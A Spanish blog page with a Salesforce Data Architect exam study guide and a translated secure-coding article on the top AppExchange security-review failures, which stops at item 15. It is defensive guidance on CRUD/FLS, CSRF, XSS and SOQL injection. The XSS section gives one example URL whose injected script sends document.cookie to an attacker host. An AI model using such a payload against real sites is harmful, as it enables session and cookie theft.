Skip to content

Tag: Arquitectura

Preparaci贸n para el examen de arquitecto de datos certificado de Salesforce

Preparaci贸n para el examen de arquitecto de datos certificado de Salesforce

Ha estado en mi mente por un tiempo, ya que para m铆 esta certificaci贸n era la 煤ltima que me faltaba por adquirir en la ruta de Arquitecto de Aplicaciones (da la casualidad de que tambi茅n tengo el certificado "opcional" de Experience Cloud).

Tener muchas cosas sucediendo en este momento y anhelar algo de espacio mental fue el detonante que el otro d铆a me hizo decir: 鈥淏ueno, tambi茅n puedo intentarlo; Ojal谩 se me quite de la cabeza de una vez por todas鈥. Aprender铆a de cualquier manera, 隆eso es seguro!

Y esto pas贸鈥

隆Uf!

Algunas personas se han acercado para preguntar sobre la preparaci贸n para el examen y la orientaci贸n, por eso escribo esto aqu铆 para tratar de ayudar a otros.

El contexto es clave

Cualquier certificaci贸n de examen que hago est谩 dentro de contexto, con eso me refiero a haber trabajado ya durante alg煤n tiempo en el producto en cuesti贸n.

"Somos lo que hacemos repetidamente. La excelencia, entonces, no es un acto sino un h谩bito." -Arist贸teles

As铆 es como funciona mi cerebro; de lo contrario, lo encuentro como una actividad abstracta que depende principalmente de la memoria m谩s que de la experiencia. Y bueno, despu茅s de todo, soy un Scrum Master, 隆el empirismo existe!

"Salesforce recomienda encarecidamente una combinaci贸n de experiencia laboral, asistencia a cursos y autoestudio para maximizar sus posibilidades de aprobar el examen". 鈥擟omienzo del sendero

Gu铆a de examen

La oraci贸n anterior proviene de la gu铆a del examen; sol铆a ser un PDF, pero ahora el contenido est谩 integrado en Trailhead.

La gu铆a del examen es SIEMPRE tu punto de partida, me sorprende cu谩nta gente no usa este recurso (隆algunos ni siquiera saben que existe! 隆驴C贸mo?!).

La gu铆a del examen est谩 dise帽ada para ayudarlo a evaluar SI est谩 listo para completar con 茅xito el examen. Y le brinda un desglose de todas las secciones y temas que se cubrir谩n, y tambi茅n de lo que se espera de usted. Por ejemplo en este en particular:

La credencial de Arquitecto de datos certificado de Salesforce est谩 destinada al arquitecto que eval煤a el entorno y los requisitos de la arquitectura; y dise帽a soluciones s贸lidas, escalables y de alto rendimiento en la plataforma Customer 360. El Arquitecto tambi茅n tendr谩 experiencia trabajando con lo siguiente:

  • Modelado de datos y dise帽o de bases de datos
  • Gesti贸n de datos maestros
  • Gesti贸n de datos de Salesforce
  • Dato de governancia
  • Consideraciones sobre grandes vol煤menes de datos
  • Migraci贸n de datos

El arquitecto tiene experiencia en comunicar soluciones y dise帽ar compensaciones a empresas y partes interesadas de TI.

Incluso tienes el esquema del examen donde puedes ampliar cada secci贸n (aqu铆 es donde est谩 lo bueno):

Recursos

驴Mencion茅 la gu铆a del examen?鈥 隆脷sala en serio! https://trailhead.salesforce.com/help?article=Salesforce-Certified-Data-Architect-Exam-Guide

Literalmente cre茅 mi propio documento a partir de 茅l y desglos茅 cada elemento, defin铆 la l贸gica y las consideraciones, escribir y estructurar me ayuda a digerir y reforzar algunos conceptos. Por ejemplo, escrib铆 este art铆culo disponible p煤blicamente para Pardot hace bastantes a帽os, solo para darle una idea.

Hablando de empirismo, en general, mi mejor recurso es… 隆una organizaci贸n de edici贸n para desarrolladores! 隆Donde pruebo todo y m谩s! Practica, practica, practica: soy un poco de la vieja escuela en eso: toma el desglose de la gu铆a de certificados para cada elemento, define la l贸gica y luego juega con ella.

Algunos de los contenidos de este en particular pueden ser un poco m谩s complicados, como grandes vol煤menes de datos, pero afortunadamente he estado en algunos proyectos relevantes incluso recientemente, lo que siempre ayuda. Tambi茅n el a帽o pasado con el Sr. Agente Gill 馃槈

Aunque se escribi贸 hace bastante tiempo, este art铆culo sigue siendo una lectura muy relevante https://developer.salesforce.com/blogs/engineering/2013/06/extracting-large-data-volume-ldv-in-force-com, y que le permitir谩 revisar PK Chunking y Bulk API.

Siguiendo con m谩s contenido de la vieja escuela de "anta帽o", consulte la serie de Extreme Force.com, aqu铆 est谩 la Parte 1: https://developer.salesforce.com/blogs/engineering/2013/02/extreme- carga-de-datos-de-salesforce-parte-1-ajuste-su-modelo-de-datos

Probablemente tambi茅n sugerir铆a ignorar sus patrones de dise帽o de integraci贸n, lo que le ayudar谩 a guiar algunas decisiones de respuesta: https://developer.salesforce.com/docs/atlas.en-us.integration_patterns_and_practices.meta/integration_patterns_and_practices/integ_pat_intro_overview.htm

Hacer una combinaci贸n de escribirlo yo mismo, probar los conceptos, luego ver algunos videos sobre el mismo concepto y leer m谩s me ayud贸 a mantenerme concentrado.

Consejos

Como sabe, no puedo darle ning煤n detalle, eso ser铆a una violaci贸n de los t茅rminos y condiciones del programa de certificaci贸n y tiene consecuencias graves, tanto para quienes comparten como para quienes utilizan cualquier informaci贸n expuesta del examen.

Lo que te puedo decir es que deber铆as revisar:

  • Cu谩ndo o cu谩ndo no usar Cuentas personales (esa es la vista de Salesforce, por encima de su opini贸n)
  • C贸mo mejorar la calidad de los datos en toda su pila tecnol贸gica
  • Cu谩ndo o cu谩ndo no utilizar Rollups
  • Qu茅 API usar cuando
  • C贸mo manejar grandes vol煤menes de datos (es decir, carga, rendimiento, exportaci贸n, cosas como compartir, bloqueos, etc.)
  • Cu谩ndo o cu谩ndo no utilizar relaciones maestro-detalle
  • Qu茅 tipo de integraci贸n usar y cu谩ndo
  • C贸mo capturar y gestionar metadatos
  • Cu谩ndo y cu谩ndo no utilizar objetos grandes y objetos externos
  • Gesti贸n de datos maestros
  • Gobernanza: cumplimiento y funcionalidad relacionada

Seguramente me he perdido algo, pero eso es lo m谩s importante en este momento. Consulte y trabaje con su gu铆a de examen: https://trailhead.salesforce.com/help?article=Salesforce-Certified-Data-Architect-Exam-Guide

驴Qu茅 est谩s haciendo?

Recuerde tambi茅n: el objetivo no es simplemente aprobar un examen, sino demostrar que ya tiene el conocimiento y la experiencia.

Ahora es tu turno: 驴Para qu茅 certificaci贸n est谩s trabajando? 驴Cu谩l es su enfoque?

隆Cu茅ntanos y etiqu茅tanos para que podamos celebrar contigo!

Continue reading

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Las 20 principales vulnerabilidades encontradas en la revisi贸n de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisi贸n de seguridad de AppExchange es uno de los procesos de revisi贸n m谩s rigurosos de cualquier mercado de aplicaciones en l铆nea. Esta estricta reputaci贸n es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor n煤mero uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los m谩s altos est谩ndares de seguridad posibles para la protecci贸n de los datos de los clientes.

Dicho esto, estos est谩ndares pueden representar un desaf铆o importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener 茅xito, en orden de prevalencia, esta publicaci贸n analizar谩 las 20 razones principales por las que los socios no pasan la revisi贸n de seguridad (a partir de 2023). Tambi茅n cubriremos c贸mo remediar o prevenir estos problemas.

#1 鈥 Aplicaci贸n de CRUD/FLS

驴Qu茅 es esto?

Las vulnerabilidades de aplicaci贸n de la seguridad a nivel de objetos y campos (CRUD/FLS) son la raz贸n principal (por un margen significativo) para no pasar la revisi贸n de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene alg煤n c贸digo de Salesforce, este problema debe ser su prioridad n煤mero uno a resolver antes de enviarlo para una revisi贸n de seguridad.

驴C贸mo puedo abordar esto?

Si, durante su proceso de codificaci贸n, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querr谩 hacer una revisi贸n muy exhaustiva de su c贸digo base para asegurarse de que no est茅 realizar cualquier operaci贸n de creaci贸n/lectura/actualizaci贸n/eliminaci贸n no marcada en objetos o campos.

El m茅todo preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer a煤n no lo admiten completamente (al momento de escribir esta publicaci贸n, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protecci贸n arrojar谩 falsos positivos). Code Analyzer Graph Engine es actualmente la 煤nica herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentaci贸n para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, m茅todos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensi贸n PMD para VS Code pueden ser 煤tiles herramientas que puede utilizar para comprobar su c贸digo base. Puede seguir nuestra gu铆a para obtener m谩s informaci贸n sobre c贸mo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El esc谩ner Checkmarx debe utilizarse como verificaci贸n final de violaciones de CRUD/FLS. Puede ejecutar este an谩lisis a trav茅s del Portal de seguridad para socios .

Obtenga m谩s informaci贸n sobre la aplicaci贸n de CRUD/FLS en Trailhead .

#2 鈥 Versi贸n de software insegura

驴Qu茅 es esto?

Esto significa que alguna pieza de software (normalmente, una versi贸n espec铆fica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayor铆a de las veces, es porque est谩s usando una versi贸n desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la m谩s com煤n), pero tambi茅n podr铆a ser algo as铆 como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

驴C贸mo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnolog铆as que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de c贸digo abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas p煤blicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. Tambi茅n puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su c贸digo base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentaci贸n de falsos positivos para argumentar que un CVE particular registrado no podr铆a aplicarse a su oferta, ya que quiz谩s no est茅 utilizando la funcionalidad asociada con ese CVE.

#3 鈥 Violaci贸n al compartir

驴Qu茅 es esto?

B谩sicamente, esto significa que tiene clases de Apex en las que no ha agregado expl铆citamente la palabra clave with sharing al encabezado de la clase, omitiendo as铆 las reglas de uso compartido de una organizaci贸n.

驴C贸mo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y aseg煤rese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicaci贸n a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede a煤n m谩s claro).

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Obtenga m谩s informaci贸n sobre c贸mo compartir el cumplimiento a trav茅s de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

驴Qu茅 es esto?

Los secretos no deben estar codificados en el c贸digo fuente. Aunque el c贸digo puede estar contenido en un paquete administrado donde el c贸digo est谩 oculto para los clientes, todav铆a existen razones por las que esta es una pr谩ctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podr谩 actualizarlo por s铆 mismo.

驴C贸mo puedo abordar esto?

Aseg煤rese de que no haya secretos codificados en el c贸digo fuente, incluso si es un paquete administrado. Aseg煤rese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso espec铆fico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuraci贸n personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga m谩s informaci贸n sobre el almacenamiento seguro de secretos en Trailhead .

#5 鈥 Configuraci贸n TLS/SSL

驴Qu茅 es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es v谩lido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si est谩n en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

驴C贸mo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisi贸n de seguridad ejecutar谩 este an谩lisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su soluci贸n. Si sus terminales no reciben una calificaci贸n A por cumplimiento de SSL/TLS, su revisi贸n de seguridad no ser谩 aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar m谩s detalles sobre los requisitos de TLS en las notas de la versi贸n .

#6 鈥 Informaci贸n confidencial en depuraci贸n

驴Qu茅 es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra informaci贸n confidencial, como secretos de aplicaciones, datos del sistema o informaci贸n de depuraci贸n demasiado detallada, a trav茅s de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado est谩 habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisi贸n de seguridad de AppExchange.

驴C贸mo puedo abordar esto?

En su paquete de Salesforce, aseg煤rese de buscar en su c贸digo fuente todas las declaraciones de depuraci贸n del paquete para asegurarse de que no registren informaci贸n confidencial o secretos.

Aseg煤rese de que los c贸digos de error y los mensajes de error en toda su soluci贸n tengan un nivel de informaci贸n apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deber铆an ver seguimientos de pila completos ni informaci贸n de depuraci贸n detallada. De manera similar, aseg煤rese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los esc谩neres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP tambi茅n pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga m谩s informaci贸n sobre c贸mo verificar los seguimientos de la pila e informaci贸n detallada sobre las excepciones en el n煤mero 13.

#7 – CSRF

驴Qu茅 es esto?

La falsificaci贸n de solicitudes entre sitios (CSRF) es un tipo de ataque que enga帽a a una v铆ctima para que ejecute acciones no deseadas en una aplicaci贸n web en la que est谩 autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente da帽inas, como cambiar direcciones de correo electr贸nico y contrase帽as, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protecci贸n mientras se utilizan controladores y m茅todos est谩ndar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios m茅todos de acci贸n.

驴C贸mo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores 煤nicos y espec铆ficos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Adem谩s, deben adoptar la pr谩ctica de cookies del mismo sitio, que impide que el navegador env铆e la cookie junto con solicitudes entre sitios, mitigando as铆 los riesgos de CSRF.

Para p谩ginas de Visualforce:

  • Al crear p谩ginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones autom谩ticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la p谩gina.
  • Otra t茅cnica de mitigaci贸n implica agregar una p谩gina de confirmaci贸n intermedia antes de realizar la acci贸n, donde el usuario puede confirmar que ten铆a la intenci贸n de realizar esa acci贸n.

Para componentes Lightning:

  • De manera similar a las p谩ginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que tambi茅n desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad m谩s complicados, por lo que vale la pena invertir en aprender m谩s sobre 茅l en profundidad. Para los paquetes de Salesforce, existe excelente documentaci贸n para desarrolladores y un m贸dulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentaci贸n de OWASP .

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.潞 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

驴Qu茅 es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyecci贸n en los que se insertan secuencias de comandos da帽inas en sitios web confiables. Ocurren cuando un atacante explota una aplicaci贸n web para enviar c贸digo malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesi贸n u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la p谩gina.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicaci贸n web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta c贸digo malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicaci贸n podr铆a ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una p谩gina sin validarlas adecuadamente (para garantizar que no contenga c贸digo/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • P谩ginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificaci贸n de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=鈥漨anual鈥 o el componente lightning:formattedRichText sin la validaci贸n de entrada adecuada.
  • Par谩metros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una p谩gina sin validaci贸n (lo que lleva a XSS reflejado).

驴C贸mo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulaci贸n de DOM, pero tambi茅n recomendamos practicar el filtrado de entrada y la codificaci贸n de salida, que incluyen:

  • Evite la manipulaci贸n del modelo de objetos de documento (DOM): en su lugar, utilice t茅cnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: aseg煤rese de que la entrada del usuario no contenga c贸digo ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres com煤nmente utilizados en el c贸digo, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, par茅ntesis u operadores matem谩ticos o l贸gicos como '+', '&' o '-')
  • Codificaci贸n de salida : aseg煤rese de que si el c贸digo ejecutable pasara el filtrado de entrada, no se interprete como c贸digo al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este m贸dulo de Trailhead explica exactamente c贸mo mitigar XSS con estas t茅cnicas, y nuestra documentaci贸n para desarrolladores tambi茅n es 煤til aqu铆. Para obtener consejos espec铆ficos sobre la protecci贸n contra XSS en componentes Lightning, consulte la p谩gina Seguridad Lightning en la Gu铆a de codificaci贸n segura.

Para aplicaciones web que no son de Salesforce, tambi茅n puede consultar la documentaci贸n de OWASP para obtener consejos adicionales.

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

#9: JavaScript no est谩 en recursos est谩ticos

驴Qu茅 es esto?

Muchos paquetes administrados por Salesforce no pasan la revisi贸n de seguridad por no almacenar JavaScript como recursos est谩ticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La raz贸n principal de esta regla es que permite un control de versiones mucho m谩s seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa est谩 comprometida.

驴C贸mo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos est谩ticos y luego cargarse con una etiqueta <apex:includeScript> en su p谩gina (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los m贸dulos JavaScript que importe a su componente o use la funci贸n loadScript para cargar un archivo JavaScript de recursos est谩ticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su c贸digo fuente para asegurarse de que todas las bibliotecas de JavaScript est茅n almacenadas como recursos est谩ticos, no cargadas din谩micamente a trav茅s de hiperv铆nculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina t茅cnica para analizar su caso de uso. Es posible obtener una excepci贸n en ciertos casos.

Obtenga m谩s informaci贸n sobre este problema en nuestra documentaci贸n para desarrolladores .

#10 鈥 Inyecci贸n SOQL

驴Qu茅 es esto?

La inyecci贸n SOQL es la versi贸n espec铆fica de Salesforce de la inyecci贸n SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL din谩mica. Si la entrada no est谩 validada, puede incluir comandos SOQL que modifican efectivamente la declaraci贸n SOQL y enga帽an a la aplicaci贸n para que ejecute comandos no deseados.

驴C贸mo puedo abordar esto?

La forma m谩s sencilla de evitar el problema es evitar consultas din谩micas en favor de consultas est谩ticas y utilizar variables vinculantes. De lo contrario, deber谩 validar estrictamente las entradas del usuario antes de usarlas en consultas mediante t茅cnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Para obtener m谩s informaci贸n, consulte nuestro m贸dulo Trailhead o revise nuestra documentaci贸n para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener m谩s informaci贸n sobre la inyecci贸n SQL en la gu铆a OWASP . Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudar a identificar problemas de inyecci贸n SQL.

#11 鈥 Lightning: carga CSS inadecuada

驴Qu茅 es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una pr谩ctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en l铆nea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> tambi茅n permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que est谩 cargando est茅 correctamente aislado y no incluya c贸digo o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicaci贸n Salesforce.

驴C贸mo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso est谩tico, use una etiqueta <apex:stylesheet> en su p谩gina (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el c贸digo fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ning煤n lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya est谩n bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluir铆a su CSS en el archivo CSS asociado de su componente o usar铆a la funci贸n loadStyle para cargar un archivo CSS de recursos est谩ticos.

Puede encontrar m谩s informaci贸n en nuestra documentaci贸n para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia cl谩sica)

驴Qu茅 es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicaci贸n Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicaci贸n en las p谩ginas de Visualforce que usted controla, de modo que el JavaScript personalizado est茅 esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pesta帽as web, componentes de p谩gina de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podr铆a ser motivo de falla).

驴C贸mo puedo abordar esto?

Esto es algo que deber谩 verificar manualmente en el c贸digo fuente de su paquete Salesforce. Verifique y aseg煤rese de que no haya utilizado JavaScript para crear botones personalizados, pesta帽as web, componentes de la p谩gina de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado est茅 incluido solo en el dominio de su aplicaci贸n con espacio de nombres en las p谩ginas de VisualForce que controla como parte de su aplicaci贸n.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicaci贸n (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, aseg煤rese de eliminarlo. Incluso si su aplicaci贸n solo est谩 destinada a usarse en Lightning Experience, si la vulnerabilidad est谩 presente para los usuarios en modo Cl谩sico, el paquete no se puede aprobar.

Esta regla en particular no est谩 especialmente bien documentada, pero puede leer m谩s en el documento Lista de verificaci贸n de revisi贸n de seguridad de AppExchange (se requiere iniciar sesi贸n en la comunidad de socios).

#13 鈥 Divulgaci贸n de informaci贸n en p谩ginas de error y excepciones

驴Qu茅 es esto?

En el contexto de la revisi贸n de seguridad de AppExchange, este t茅rmino se refiere espec铆ficamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus p谩ginas de error muestran datos confidenciales del sistema o informaci贸n de depuraci贸n. Por ejemplo, a veces las p谩ginas de error incluyen seguimientos de pila completos que muestran c贸mo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde est谩 instalada la aplicaci贸n. A veces, incluso la informaci贸n confidencial queda expuesta de esta manera.

驴C贸mo puedo abordar esto?

Busque en su base de c贸digo llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no v谩lidas, entradas vac铆as, entradas demasiado largas, acceso a p谩ginas internas sin autenticaci贸n, omisi贸n de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

Tambi茅n puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a trav茅s de esta gu铆a de OWASP .

#14 鈥 Componentes de Aura: componente externo de CSS

驴Qu茅 es esto?

Se supone que los componentes de Aura son peque帽os, aut贸nomos, reutilizables y reposicionables. CSS que evita la encapsulaci贸n de componentes (a trav茅s de .THIS) o que utiliza un posicionamiento no est谩ndar (por ejemplo, flotante o posici贸n: absoluta o fija) infringe estas garant铆as y puede interferir con la visualizaci贸n de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la raz贸n principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el dise帽o del sitio web de Salesforce y viola el esp铆ritu del modelo de seguridad de Lightning, donde los componentes est谩n estrictamente aislados y se garantiza que permanecer谩n en su propio carril.

驴C贸mo puedo abordar esto?

Este es otro problema que debes verificar manualmente. B谩sicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. Tambi茅n recomendamos revisar nuestra documentaci贸n para asegurarse de que est谩 siguiendo todas las reglas CSS correctas.

#15 鈥 Canal de mensajes expuesto

驴Qu茅 es esto?

Este t茅rmino se refiere espec铆ficamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

驴C贸mo puedo abordar esto?

Tiene dos opciones, seg煤n su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminaci贸n de componentes administrados para su paquete u organizaci贸n de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectar铆a la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (aseg煤rese de mencionar esto espec铆ficamente en un mensaje falso). documento positivo sobre su presentaci贸n).
